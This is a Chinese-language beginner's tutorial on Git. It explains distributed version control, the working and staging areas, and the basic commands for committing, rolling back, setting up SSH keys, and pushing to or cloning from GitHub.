分布式: 集中式版本控制,顾名思义,就是集中存放在中央服务器,中央服务器就类似于一个图书馆,修改书籍的人,需要先从图书馆借阅来书籍,本地修改以后,再把书籍还回去。最大的毛病就是需要联网,那么一定会有带宽,速度的问题。而分布式的版本库在本地,就像东西在自己家一样,无论如何都很方便。

Git的暂存区和工作区

工作区: .git同级的其他目录以及文件
暂存区: .git目录里的stage就是暂存区,当我们git add之后,文件就会存放在这个区里;当我们git commit之后,暂存区里的内容就会提交到当前分支,默认是master分支。git status就是查看文件从工作区到当前分支的状态的。

Git的使用

版本库创建,添加文件,提交到仓库

1
$ git init

建立好以后,本地当前目录下就会多出来一个隐藏目录.git,使用ls -ah可以查看,这个目录是Git用来管理跟踪版本库(仓库respository)的。
将文件先添加,后提交到仓库。

1
2
$ git add Filename
$ git commit -m "对该次添加(修改)的说明(备注)"

查看仓库状态

1
$ git status

能清楚地了解该仓库的文件添加状态,提交状态等

比较文件异同

1
$ git diff Filename

版本回退(读档)

1
2
3
$ git log  打印出各版本信息(备注,commit-ID等)
$ git reflog 打印出你之前的git操作,能得到commit-ID
$ git reset --hard HEAD~100/commit-ID 版本库回退,HEAD~100指前100次的版本库

远程仓库的建立

创建SSH Key。

1
$ ssh-keygen -t rsa -C "youremail@example.com"

然后一路回车,.ssh目录创建,里面id_rsa是私钥,id_rsa.pub是公钥,进入自己的github添加rsa密钥即可。
在Github上也建立一个仓库,假设名字为xxx.github.io,Github账户名为xxx,现在我们将本地仓库和远程仓库相关联

1
$ git remote add origin git@github.com:xxx/xxx.github.io.git

添加后,远程库的名字就是origin,Git默认叫法。下一步,将本地库的内容推送到远程库上。

1
$ git push -u origin master

即:将名为master分支的内容推送到名为origin的远程库
以后通过如下命令就可以将最新修改push到Github上了

1
$ git push origin master

从远程库克隆

1
$ git clone git@github.com:xxx/xxx.github.io.git

删除版本库

1
$ git remote remove origin

origin是版本库名